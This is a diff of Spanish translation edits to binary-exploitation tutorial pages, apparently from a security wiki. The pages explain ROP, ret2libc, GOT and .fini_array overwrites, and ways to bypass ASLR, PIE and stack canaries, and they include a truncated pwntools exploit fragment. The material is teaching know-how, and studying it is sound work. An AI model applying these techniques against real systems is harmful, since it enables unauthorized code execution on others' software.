- **bof a WWW vía ROP**: Abusar de un desbordamiento de búfer para construir un ROP y poder obtener un WWW.
-Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en:
+Puedes encontrar las técnicas de **Write What Where to Execution** en:
{{#ref}}
../arbitrary-write-2-exec/
@@ -40,12 +40,12 @@ Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en:
## Bucles Eternos
-Algo a tener en cuenta es que, por lo general, **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
+Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
-- Escribir en una **cadena ROP** la dirección de la **función `main`** o a la dirección donde está ocurriendo la **vulnerabilidad**.
+- Escribir en una cadena **ROP** la dirección de la **función `main`** o a la dirección donde está ocurriendo la **vulnerabilidad**.
- Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena.
- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para **volver a la vulnerabilidad**.
-- Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función desde `.fini_array`.
+- Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función de `.fini_array`.
## Objetivos de Explotación
@@ -56,11 +56,11 @@ Algo a tener en cuenta es que, por lo general, **solo una explotación de una vu
- En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), necesitarás eludirlo.
- En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), necesitarás eludirlo.
- Si necesitas establecer varios parámetros para llamar correctamente a la función **ret2win**, puedes usar:
-- Una **cadena ROP** si hay suficientes gadgets para preparar todos los parámetros.
+- Una cadena [**ROP**](#rop-and-ret2...-techniques) **si hay suficientes gadgets** para preparar todos los parámetros.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (en caso de que puedas llamar a esta syscall) para controlar muchos registros.
- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros.
-- A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/index.html) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**.
-- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
+- A través de un [**Write What Where**](../arbitrary-write-2-exec/index.html) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**.
+- [**Redirección de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podrían afectar las direcciones.
- [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe.
@@ -85,8 +85,8 @@ Algo a tener en cuenta es que, por lo general, **solo una explotación de una vu
#### A través de libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente).
-- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
-- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
+- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática.
+- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática.
- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo).
- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) pero sin [PIE](../common-binary-protections-and-bypasses/pie/index.html), conociendo la libc y **sin que el binario use la `system`**:
- Usa [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla.
@@ -94,17 +94,17 @@ Algo a tener en cuenta es que, por lo general, **solo una explotación de una vu
- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **y sin conocer la libc**: Necesitas:
- Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
- Encontrar la **versión de `libc`** utilizada (filtrar un par de direcciones de funciones).
-- Comprobar los **escenarios anteriores con ASLR** para continuar.
+- Revisar los **escenarios anteriores con ASLR** para continuar.
#### A través de EBP/RBP
-- [**Pivotar Pila / EBP2Ret / Encadenamiento EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar el ESP para controlar RET a través del EBP almacenado en la pila.
+- [**Pivotar la Pila / EBP2Ret / Encadenamiento EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar el ESP para controlar RET a través del EBP almacenado en la pila.
- Útil para **desbordamientos de pila off-by-one**.
-- Útil como una forma alternativa de terminar controlando EIP mientras se abusa de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP.
+- Útil como una forma alternativa de terminar controlando EIP mientras abusas de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP.
#### Varios
-- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
+- [**Redirección de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podrían afectar las direcciones.
- [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe.
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
index 7a17aa9f7..f6bc09284 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
@@ -45,7 +45,7 @@ Contiene las tablas de encabezados de programa y la metadata en sí.
### INTERP
-Indica la ruta del cargador que se debe usar para cargar el binario en memoria.
+Indica la ruta del cargador que se utilizará para cargar el binario en memoria.
> Consejo: Los binarios vinculados estáticamente o estáticos-PIE no tendrán una entrada `INTERP`. En esos casos, no hay un cargador dinámico involucrado, lo que desactiva técnicas que dependen de él (por ejemplo, `ret2dlresolve`).
@@ -64,7 +64,7 @@ Este encabezado ayuda a vincular programas a sus dependencias de biblioteca y ap
Esto almacena información de metadata del proveedor sobre el binario.
-- En x86-64, `readelf -n` mostrará las banderas `GNU_PROPERTY_X86_FEATURE_1_*` dentro de `.note.gnu.property`. Si ves `IBT` y/o `SHSTK`, el binario fue construido con CET (Seguimiento de Ramas Indirectas y/o Pila Sombra). Esto impacta ROP/JOP porque los objetivos de ramas indirectas deben comenzar con una instrucción `ENDBR64` y las devoluciones se verifican contra una pila sombra. Consulta la página de CET para más detalles y notas de elusión.
+- En x86-64, `readelf -n` mostrará las banderas `GNU_PROPERTY_X86_FEATURE_1_*` dentro de `.note.gnu.property`. Si ves `IBT` y/o `SHSTK`, el binario fue construido con CET (Seguimiento de Ramas Indirectas y/o Pila Sombra). Esto impacta ROP/JOP porque los objetivos de ramas indirectas deben comenzar con una instrucción `ENDBR64` y las devoluciones se verifican contra una pila sombra. Consulta la página de CET para más detalles y notas de bypass.
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
@@ -82,13 +82,13 @@ Contiene la configuración de la defensa de prevención de ejecución de pila. S
### GNU_RELRO
-Indica la configuración RELRO (Reubicación Solo Lectura) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse.
+Indica la configuración RELRO (Reubicación Solo de Lectura) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse.
En el ejemplo anterior, está copiando 0x3b8 bytes a 0x1fc48 como de solo lectura, afectando las secciones `.init_array .fini_array .dynamic .got .data .bss`.
Ten en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **vinculación perezosa** y necesita este espacio de memoria para tener **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación.
-> Para técnicas de explotación y notas de elusión actualizadas, consulta la página dedicada:
+> Para técnicas de explotación y notas de bypass actualizadas, consulta la página dedicada:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
@@ -270,7 +270,7 @@ Las entradas `DT_RPATH` (obsoleta) y/o `DT_RUNPATH` influyen en dónde el cargad
## Reubicaciones
-El cargador también debe reubicar las dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ.
+El cargador también debe reubicar dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ.
```
readelf -r lnstat
@@ -342,15 +342,15 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
-### Relocaciones Estáticas
+### Relocalizaciones Estáticas
-Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocación estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
+Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocalización estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
-Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocación más el valor del aditivo.
+Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocalización más el valor del aditivo.
-### Relocaciones Dinámicas y GOT
+### Relocalizaciones Dinámicas y GOT
-La relocación también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Tabla de Desplazamiento Global) (indicado en la tabla de relocación) donde debería especificarse la dirección de malloc.
+La relocalización también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Tabla de Desplazamiento Global) (indicado en la tabla de relocalización) donde debería especificarse la dirección de malloc.
### Tabla de Enlace de Procedimientos
@@ -360,18 +360,20 @@ Así que cuando un programa llama a malloc, en realidad llama a la ubicación co
#### Comportamientos de enlace moderno que impactan la explotación
-- `-z now` (Full RELRO) desactiva el enlace perezoso; las entradas PLT aún existen, pero GOT/PLT está mapeado como solo lectura, por lo que técnicas como **sobrescritura de GOT** y **ret2dlresolve** no funcionarán contra el binario principal (las bibliotecas pueden seguir siendo parcialmente RELRO). Ver:
+- `-z now` (Full RELRO) desactiva el enlace perezoso; las entradas PLT aún existen, pero GOT/PLT está mapeado como solo lectura, por lo que técnicas como **GOT overwrite** y **ret2dlresolve** no funcionarán contra el binario principal (las bibliotecas pueden seguir siendo parcialmente RELRO). Ver:
+
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
-- `-fno-plt` hace que el compilador llame a funciones externas a través de la **entrada GOT directamente** en lugar de pasar por el stub PLT. Verás secuencias de llamadas como `mov reg, [got]; call reg` en lugar de `call func@plt`. Esto reduce el abuso de ejecución especulativa y cambia ligeramente la búsqueda de gadgets ROP alrededor de los stubs PLT.
+- -fno-plt hace que el compilador llame a funciones externas a través de la **entrada GOT directamente** en lugar de pasar por el stub PLT. Verás secuencias de llamadas como mov reg, [got]; call reg en lugar de call func@plt. Esto reduce el abuso de ejecución especulativa y cambia ligeramente la búsqueda de gadgets ROP alrededor de los stubs PLT.
-- PIE vs static-PIE: PIE (ET_DYN con `INTERP`) necesita el cargador dinámico y soporta la maquinaria usual de PLT/GOT. Static-PIE (ET_DYN sin `INTERP`) tiene relocaciones aplicadas por el cargador del kernel y no `ld.so`; espera que no haya resolución de PLT en tiempo de ejecución.
+- PIE vs static-PIE: PIE (ET_DYN con INTERP) necesita el cargador dinámico y soporta la maquinaria usual de PLT/GOT. Static-PIE (ET_DYN sin INTERP) tiene relocalizaciones aplicadas por el cargador del kernel y no ld.so; espera que no haya resolución de PLT en tiempo de ejecución.
> Si GOT/PLT no es una opción, pivotea a otros punteros de código escribibles o usa ROP/SROP clásico en libc.
+
{{#ref}}
../arbitrary-write-2-exec/aw2exec-got-plt.md
{{#endref}}
@@ -401,7 +403,7 @@ return 0;
```
Tenga en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos para inicializar y destruir con el fin de hacer un seguimiento de ellos.
-Desde el código C es posible obtener el mismo resultado utilizando las extensiones de GNU:
+Desde el código C, es posible obtener el mismo resultado utilizando las extensiones de GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
@@ -414,7 +416,7 @@ Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que s
#### Nota de explotación
-- Bajo Partial RELRO, estos arreglos viven en páginas que aún son escribibles antes de que `ld.so` cambie `PT_GNU_RELRO` a solo lectura. Si obtienes una escritura arbitraria lo suficientemente pronto o puedes apuntar a los arreglos escribibles de una biblioteca, puedes secuestrar el flujo de control sobrescribiendo una entrada con una función de tu elección. Bajo Full RELRO, son de solo lectura en tiempo de ejecución.
+- Bajo Partial RELRO, estos arreglos viven en páginas que aún son escribibles antes de que `ld.so` cambie `PT_GNU_RELRO` a solo lectura. Si obtienes una escritura arbitraria lo suficientemente temprano o puedes apuntar a los arreglos escribibles de una biblioteca, puedes secuestrar el flujo de control sobrescribiendo una entrada con una función de tu elección. Bajo Full RELRO, son de solo lectura en tiempo de ejecución.
- Para el abuso de enlace perezoso del enlazador dinámico para resolver símbolos arbitrarios en tiempo de ejecución, consulta la página dedicada:
@@ -437,9 +439,9 @@ Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensi
Cada hilo mantendrá una ubicación única para esta variable, por lo que solo el hilo puede acceder a su variable.
-Cuando se utiliza esto, las secciones **`.tdata`** y **`.tbss`** se utilizan en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS.
+Cuando se utiliza esto, se usan las secciones **`.tdata`** y **`.tbss`** en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS.
-Cada variable tendrá una entrada en el encabezado TLS que especifica el tamaño y el desplazamiento TLS, que es el desplazamiento que utilizará en el área de datos local del hilo.
+Cada variable tendrá una entrada en el encabezado TLS que especifica el tamaño y el desplazamiento TLS, que es el desplazamiento que utilizará en el área de datos locales del hilo.
El `__TLS_MODULE_BASE` es un símbolo utilizado para referirse a la dirección base del almacenamiento local por hilo y apunta al área en memoria que contiene todos los datos locales por hilo de un módulo.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
index 997130b85..485292be0 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
@@ -4,7 +4,7 @@
## Información Básica
-**Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.
+**Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por procesos del sistema y de aplicaciones. Al hacerlo, dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.
### **Verificando el Estado de ASLR**
@@ -31,11 +31,11 @@ setarch `uname -m` -R ./bin args
```
### **Habilitando ASLR**
-Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:
+Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. Habilitar la aleatorización completa se puede hacer con el siguiente comando:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
-### **Persistencia a Través de Reinicios**
+### **Persistencia a través de reinicios**
Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea:
```tsconfig
@@ -57,9 +57,9 @@ PaX divide el espacio de direcciones del proceso en **3 grupos**:
- **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales.
- **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamada `delta_mmap`.
-- **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del 10º al 20º byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**.
+- **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del décimo al vigésimo byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**.
-Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR reintentando la ejecución una y otra vez hasta que el exploit se complete con éxito.
+Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR al reintentar la ejecución una y otra vez hasta que el exploit se complete con éxito.
#### Ideas de fuerza bruta:
@@ -151,19 +151,19 @@ El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y *
- **startstack**: La dirección del inicio de la **pila**
- **start_data** & **end_data**: Direcciones por encima y por debajo donde está el **BSS**
- **kstkesp** & **kstkeip**: Direcciones actuales de **ESP** y **EIP**
-- **arg_start** & **arg_end**: Direcciones por encima y por debajo donde están los **argumentos cli**.
+- **arg_start** & **arg_end**: Direcciones por encima y por debajo donde están los **argumentos de cli**.
- **env_start** & **env_end**: Direcciones por encima y por debajo donde están las **variables de entorno**.
-Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada diferente que se puede crear después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**.
+Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada que se puede crear después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**.
> [!TIP]
> Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat`
### Tener un leak
-- **El desafío es proporcionar un leak**
+- **El desafío es dar un leak**
-Si se te proporciona un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles):
+Si se te da un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles):
```python
from pwn import *
@@ -192,6 +192,7 @@ p.interactive()
Abusando de un desbordamiento de búfer, sería posible explotar un **ret2plt** para exfiltrar una dirección de una función de la libc. Ver:
+
{{#ref}}
ret2plt.md
{{#endref}}
@@ -273,7 +274,7 @@ gef➤ x/4i 0xffffffffff600800
```
### vDSO
-Nota, por lo tanto, cómo podría ser posible **eludir ASLR abusando del vdso** si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada. Para más información, consulta:
+Note que podría ser posible **eludir ASLR abusando del vdso** si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada. Para más información, consulta:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
index 5083cc9f2..37435b412 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
@@ -9,9 +9,9 @@ Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, sign
El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser un **chequeo crítico si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
-O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes **calcular los desplazamientos** de funciones y ubicaciones.
+O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes simplemente **calcular los desplazamientos** de funciones y ubicaciones.
-## Bypasses
+## Elusiones
Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto:
@@ -19,6 +19,7 @@ Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**,
- Ser **dado** el leak (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Fuerza bruta de los valores EBP y EIP** en la pila hasta que filtren los correctos:
+
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
index 156ec9555..60f32fe45 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
@@ -10,7 +10,7 @@
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
-Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege los arreglos con menos de 8 elementos o los búferes dentro de la estructura de un usuario.
+Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege arreglos con menos de 8 elementos o búferes dentro de la estructura de un usuario.
El **canary** es un número aleatorio derivado de `/dev/urandom` o un valor predeterminado de `0xff0a0000`. Se almacena en **TLS (Thread Local Storage)**, permitiendo que los espacios de memoria compartidos entre hilos tengan variables globales o estáticas específicas del hilo. Estas variables se copian inicialmente del proceso padre, y los procesos hijos pueden alterar sus datos sin afectar al padre o a los hermanos. Sin embargo, si se utiliza un **`fork()` sin crear un nuevo canary, todos los procesos (padre e hijos) comparten el mismo canary**, lo que lo hace vulnerable. En la arquitectura **i386**, el canary se almacena en `gs:0x14`, y en **x86_64**, en `fs:0x28`.
@@ -20,9 +20,9 @@ Cuando un servidor web utiliza `fork()`, permite un ataque de fuerza bruta para
### Longitudes
-En binarios `x64`, el canary cookie es un **`0x8`** byte qword. Los **primeros siete bytes son aleatorios** y el último byte es un **byte nulo.**
+En binarios `x64`, la cookie del canary es un **`0x8`** byte qword. Los **primeros siete bytes son aleatorios** y el último byte es un **byte nulo.**
-En binarios `x86`, el canary cookie es un **`0x4`** byte dword. Los **primeros tres bytes son aleatorios** y el último byte es un **byte nulo.**
+En binarios `x86`, la cookie del canary es un **`0x4`** byte dword. Los **primeros tres bytes son aleatorios** y el último byte es un **byte nulo.**
> [!CAUTION]
> El byte menos significativo de ambos canaries es un byte nulo porque será el primero en la pila proveniente de direcciones más bajas y, por lo tanto, **las funciones que leen cadenas se detendrán antes de leerlo**.
@@ -31,13 +31,15 @@ En binarios `x86`, el canary cookie es un **`0x4`** byte dword. Los **primeros t
**Filtrar el canary** y luego sobrescribirlo (por ejemplo, desbordamiento de búfer) con su propio valor.
-- Si el **canary se bifurca en procesos hijos**, podría ser posible **forzarlo** byte por byte:
+- Si el **canary se bifurca en procesos hijos**, podría ser posible **forzarlo** un byte a la vez:
+
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
-- Si hay alguna **filtración interesante o vulnerabilidad de lectura arbitraria** en el binario, podría ser posible filtrarlo:
+- Si hay alguna **vulnerabilidad de filtrado o lectura arbitraria** interesante en el binario, podría ser posible filtrarlo:
+
{{#ref}}
print-stack-canary.md
@@ -45,7 +47,8 @@ print-stack-canary.md
- **Sobrescribiendo punteros almacenados en la pila**
-La pila vulnerable a un desbordamiento de pila podría **contener direcciones a cadenas o funciones que pueden ser sobrescritas** para explotar la vulnerabilidad sin necesidad de alcanzar el canary de la pila. Verifica:
+La pila vulnerable a un desbordamiento de pila podría **contener direcciones a cadenas o funciones que pueden ser sobrescritas** para explotar la vulnerabilidad sin necesidad de alcanzar el canary de la pila. Ver:
+
{{#ref}}
../../stack-overflow/pointer-redirecting.md
@@ -53,19 +56,19 @@ La pila vulnerable a un desbordamiento de pila podría **contener direcciones a
- **Modificando tanto el canary maestro como el de hilo**
-Un desbordamiento de búfer en una **función con hilos** protegida con canary puede ser utilizado para **modificar el canary maestro del hilo**. Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados).
+Un desbordamiento de búfer en una función con hilos protegida con canary puede ser utilizado para **modificar el canary maestro del hilo**. Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son iguales (aunque modificados).
-Además, un desbordamiento de búfer en una **función con hilos** protegida con canary podría ser utilizado para **modificar el canary maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canary) a través de un **bof en la pila** de un hilo.\
-Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados).\
-Este ataque se realiza en el informe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
